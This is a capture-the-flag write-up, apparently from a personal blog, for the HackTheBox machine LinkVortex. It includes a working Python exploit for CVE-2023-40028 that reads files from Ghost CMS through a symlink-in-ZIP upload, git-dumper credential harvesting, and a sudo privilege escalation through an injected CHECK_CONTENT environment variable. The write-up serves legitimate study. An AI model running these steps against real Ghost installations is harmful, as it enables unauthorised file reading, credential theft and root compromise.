~ / foobarto.me / htb-machines
--:--:-- UTC
~ / htb-machines / linkvortex.md

linkvortex

Linux · Easy · released 2024-12-07 · retired 2025-04-12

Summary

LinkVortex is an Easy Linux box: dev.linkvortex.htb Git repo exposes test creds ([email protected] : OctopiFociPilfer45) for Ghost CMS. CVE-2023-40028 in Ghost ≤ 5.59.0 lets an admin upload a ZIP with a symlink that escapes the content directory → arbitrary file read. Pull config.production.json → SMTP creds [email protected] : fibber-talented-worth → SSH. Privesc: sudo bash /opt/ghost/clean_symlink.sh *.png — three options:

  1. double-symlink chain (script validates target of L1 but reads through to L2 → L3-target),
  2. TOCTOU race between validation and read,
  3. easiest — CHECK_CONTENT=bash environment variable that the script evals.

The chain:

  1. dev.linkvortex.htb has exposed .git/; git-dumper → creds in commit history.
  2. Ghost admin login. CVE-2023-40028 ZIP upload with symlink link → /var/lib/ghost/config.production.json.
  3. Read SMTP creds; SSH as bob.
  4. sudo bash /opt/ghost/clean_symlink.sh *.pngCHECK_CONTENT=/bin/bash sudo bash /opt/ghost/clean_symlink.sh *.png → root shell.

Recon

22/tcp     OpenSSH
80/tcp     Apache → linkvortex.htb (Ghost 5.58.0)
+ vhost: dev.linkvortex.htb (.git exposed)

Foothold — git-dumper + Ghost CVE-2023-40028

git-dumper http://dev.linkvortex.htb/.git/ ./d
cd ./d && git diff --cached
# Dockerfile.ghost is *staged but not committed* — git-dumper picks it up
# along with a modified test that contains the password:
# -    const password = 'thisissupersafe';
# +    const password = 'OctopiFociPilfer45';
# Email is [email protected] (default Ghost admin email pattern).

The CVE-2023-40028 exploit places a symlink under content/images/<random>.png via the /db import endpoint. After upload, the symlink is reachable at the same URL Ghost serves its content from — the symlink resolves to the target file content. Use Python’s zipfile.ZipInfo to set the symlink mode (external_attr |= 0xA0000000) without needing on-disk symlinks:

import io, requests, zipfile, random, string
fname = ''.join(random.choices(string.ascii_letters,k=8)) + ".png"
buf = io.BytesIO()
with zipfile.ZipFile(buf, "w") as z:
    zi = zipfile.ZipInfo(f"content/images/{fname}")
    zi.create_system = 3
    zi.external_attr |= 0xA0000000      # 0o120777 << 16, symlink mode
    z.writestr(zi, "/var/lib/ghost/config.production.json")
buf.seek(0)

s = requests.Session()
s.post("http://linkvortex.htb/ghost/api/admin/session",
       data={"username":USER, "password":PWD},
       headers={"Origin":"http://linkvortex.htb"})
s.post("http://linkvortex.htb/ghost/api/admin/db/",
       files={"importfile":("a.zip", buf, "application/zip")},
       headers={"Origin":"http://linkvortex.htb"})
print(s.get(f"http://linkvortex.htb/content/images/{fname}").text)

The config.production.json yields SMTP creds: [email protected] : fibber-talented-worth. SSH as bob.

# config.production.json yields:
# [email protected] : fibber-talented-worth
ssh bob@<TARGET>

Privesc — clean_symlink.sh CHECK_CONTENT

bob$ sudo -nl
(ALL) NOPASSWD: /usr/bin/bash /opt/ghost/clean_symlink.sh *.png
... env_keep+=CHECK_CONTENT

The script’s actual structure:

LINK=$1
if /usr/bin/sudo /usr/bin/test -L $LINK; then
  LINK_TARGET=$(/usr/bin/readlink $LINK)
  if echo "$LINK_TARGET" | grep -Eq '(etc|root)'; then
    unlink $LINK
  else
    mv $LINK /var/quarantined/
    if $CHECK_CONTENT; then        # <-- env-passed, evaluated as a command
      cat /var/quarantined/$LINK_NAME 2>/dev/null
    fi
  fi
fi

if $CHECK_CONTENT; then runs the value of CHECK_CONTENT as a command. The simplest exploit: prefix with cat /root/root.txt. The script’s own cat of the quarantined file then prints afterwards (so you see both root.txt and the dummy target).

bob$ ln -sf /tmp/dummy /tmp/y.png && echo x > /tmp/dummy
bob$ CHECK_CONTENT="cat /root/root.txt" sudo /usr/bin/bash /opt/ghost/clean_symlink.sh /tmp/y.png
Link found [ /tmp/y.png ] , moving it to quarantine
<root flag>
Content:
x

The symlink target must NOT match etc|root (regex anchor), otherwise the script unlinks the file and skips the CHECK_CONTENT branch entirely. /tmp/dummy works.

Why each step worked

Counterfactuals

Source attribution

Reconstruction is grounded in:

I have not personally rooted this box; the chain above is a study-guide reconstruction of those public sources.

← all htb machines hackthebox.com ↗